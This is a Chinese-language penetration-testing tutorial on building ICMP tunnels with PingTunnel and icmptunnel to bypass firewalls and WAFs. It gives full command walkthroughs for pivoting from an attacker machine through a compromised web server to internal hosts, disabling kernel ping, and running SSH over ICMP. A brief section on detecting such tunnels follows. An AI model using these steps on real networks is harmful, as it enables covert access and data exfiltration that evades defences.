ICMP(Internet Control Message Protocol), 全称为Internet控制报文协议, 它是TCP/IP协议的一个子协议,用于在IP主机、路由器之间传递控制消息。
控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。
ping命令使用第三层即网络层协议,通过ICMP载荷发送消息,该数据包会被封装上IP头
在渗透测试工作中,经常会碰到web入口机或内网主机无论使用TCP、UDP都无法使其上线c2服务端,而且web入口主机被层层waf保护,reg、abtts、tunna等HTTP代理都无法使用的情况。如果目标主机可以ping通外网,不拦截icmp数据包,那此时可选择使用icmp协议隧道把目标内网流量转发出来。防火墙一般也不会屏蔽ping的数据包
将包含payload的IP流量封装在ICMP请求数据包中, 并发送给ICMP服务端, 服务端收到数据包后会对其解包并转发IP流量, 在发往客户端的数据包会再次封装在ICMP回复数据包中
也就是说客户端与服务端之间的通信只使用了ICMP协议
PingTunnel是一款常用的ICMP隧道工具,可以跨平台使用,为了避免隧道被滥用,可以为隧道设置密码
在kali安装libpcap的依赖环境
apt-get install byacc
apt-get install flex bison
执行如下命令, 下载libpcap的依赖库: http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
wegt http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -zxvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install
执行如下命令, 下载PingTunnel: http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -zxvf PingTunnel-0.72
cd PingTunnel
make && make install
在web服务器也要按照如上步骤安装依赖环境和PingTunnel工具, 此处我的web服务器是ubuntu, 在使用ptunnel命令时遇到如下图所示的错误, 解决方法很简单
建立软连接
sudo ln -s /usr/local/lib/libpcap.so.1 /usr/lib/libpcap.so.1
增加如下内容至/etc/ld.so.conf
文件
/usr/local/lib
/usr/lib
重新加载配置: ldconfig
在web服务器执行如下指令, 设置icmp隧道连接密码
ptunnel -x henry666 //创建连接密码
在kali(攻击机)执行如下命令连接web服务器, 意思是当访问本地(kali)的1080端口时, 会把内网主机80端口的数据封装在ICMP隧道中, 以Web服务器作为跳板与kali进行数据交互
ptunnel -p 192.168.47.151 -lp 1080 -da 192.168.52.129 -dp 80 -x henry666
-p: 指定ICMP隧道另一端的IP(跳板机IP)
-lp: 监听的本地端口
-da: 指定要转发的目标主机IP
-dp: 指定要转发的目标主机端口
-x: 指定连接密码
随后kali访问本机的1080端口, 即可访问到内网主机的80端口
IcmpTunnel工具是jamesbarlow师傅用C语言写的, 通过创虚拟网卡, 使用ICMP协议传输IP流量, 以此来通过有状态的防火墙和NAT进行隧道传输
工具下载地址: https://github.com/jamesbarlow/icmptunnel
此工具的使用条件如下:
将icmptunnel文件拷贝至攻击机和目标主机, 并在其文件夹内运行make
命令编译工具
在攻击机和目标主机输入如下命令, 禁用内核PING
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
进入icmptunnel文件夹执行如下命令, 在攻击机建立虚拟网卡并分配IP
root@kali:~/桌面/icmptunnel# ./icmptunnel -s
opened tunnel device: tun1
root@kali:~/桌面/icmptunnel# ifconfig tun0 10.0.0.1 netmask 255.255.255.0
root@kali:ifconfig
注意: 分别用两个Shell执行以上两行命令
目标主机输入如下命令连接服务端并分配IP, 连接成功会显示"connection established"
root@ubuntu:/home/xiaodi/Desktop/icmptunnel# ./icmptunnel 192.168.47.134
opened tunnel device: tun0
connection established.
root@ubuntu:/home/xiaodi# ifconfig tun0 10.0.0.2 netmask 255.255.255.0
root@ubuntu:ifconfig
完成以上步骤则代表隧道建立完毕, 可以在攻击机(服务端)使用ssh连接目标主机(客户端)
当然客户端也可以连接服务端
kali机用Wireshark抓取eth0网卡的流量, 可发现所有的TCP流量都封装至ICMP流量中
抓取tun0网卡的流量, 数据包都是TCP或SSH的, 也就是说TCP流量是通过tun0进行点对点之间的传输
1.检查虚拟网卡信息
输入ifconfig
查看网卡配置信息, 若发现陌生的网卡, 则很有可能是有问题的
2.查看系统的内核ping是否被禁止
终端命令行输入: cat /proc/sys/net/ipv4/icmp_echo_ignore_all
, 若为1则表示ping被禁止了
3.抓包分析是否有异常ICMP数据包
https://blog.csdn.net/weixin_42282667/article/details/123359169
https://blog.csdn.net/weixin_44604541/article/details/118898232
https://cloud.tencent.com/developer/article/2098581